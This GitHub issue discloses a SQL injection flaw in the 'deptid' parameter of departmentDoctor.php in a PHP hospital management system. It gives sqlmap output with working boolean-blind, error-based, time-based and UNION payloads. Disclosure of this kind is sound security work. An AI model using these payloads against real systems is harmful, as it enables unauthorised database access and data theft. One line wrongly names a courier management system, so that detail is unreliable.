Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

SourceCodester Online Hospital Management System Using PHP/MySQL departmentDoctor.php V1.0 SQL injection vulnerability #41

Open
1097hzy opened this issue May 23, 2024 · 0 comments

Comments

@1097hzy
Copy link

1097hzy commented May 23, 2024

SourceCodester Online Hospital Management System Using PHP/MySQL departmentDoctor.php V1.0 SQL injection vulnerability

NAME OF AFFECTED PRODUCT(S)

  • Online Hospital Management System Using PHP/MySQL

Vendor Homepage

AFFECTED AND/OR FIXED VERSION(S)

submitter

  • ZhaoBin Huang

Vulnerable File

  • departmentDoctor.php

VERSION(S)

  • V1.0

Software Link

PROBLEM TYPE

Vulnerability Type

  • SQL injection

Root Cause

  • The fourth line of the departmentDoctor.php file uses the PHP method to retrieve user input from the $_GET element. Then, the value of this element will be passed to the code without proper purification or validation, and ultimately used for database queries in the PHP method on line 5 of the departmentDoctor.php file. This may lead to SQL injection attacks
  • 1

Impact

  • Attackers can exploit this vulnerability to gain database privileges, which can result in a large amount of data in the database. If the other party's database has DBA privileges, it may lead to server host privileges being obtained.

DESCRIPTION

  • ZhaoBin Huang has discovered that due to insufficient protection of the "deptid" parameter in the "\departmentDoctor.php" file, "Best courier management system project in php" there is a serious security vulnerability in the This vulnerability may be used to inject malicious SQL queries, resulting in unauthorized access and extraction of sensitive information from the database.database.

Payload

  • deptid=12' AND (SELECT 2306 FROM(SELECT COUNT(*),CONCAT(0x716b707671,(SELECT (ELT(2306=2306,1))),0x71786a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'vptK'='vptK
  • 4
---
Parameter: deptid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: deptid=12' AND 9424=9424 AND 'hYov'='hYov
    Vector: AND [INFERENCE]

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: deptid=12' AND (SELECT 2306 FROM(SELECT COUNT(*),CONCAT(0x716b707671,(SELECT (ELT(2306=2306,1))),0x71786a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'vptK'='vptK
    Vector: AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: deptid=12' AND (SELECT 3022 FROM (SELECT(SLEEP(5)))IfUz) AND 'rvxr'='rvxr
    Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])

    Type: UNION query
    Title: Generic UNION query (NULL) - 10 columns
    Payload: deptid=12' UNION ALL SELECT CONCAT(0x716b707671,0x6b5a4352647756625962434873434d55424c6d437a47745664726d4b736c52667772717653687444,0x71786a6b71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
    Vector:  UNION ALL SELECT [QUERY],NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
---
  • This is showing the payload implemented by running sqlmap
  • 3
  • The following is the database name displayed as a successful implementation of the attack by running sqlmap
  • 3
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant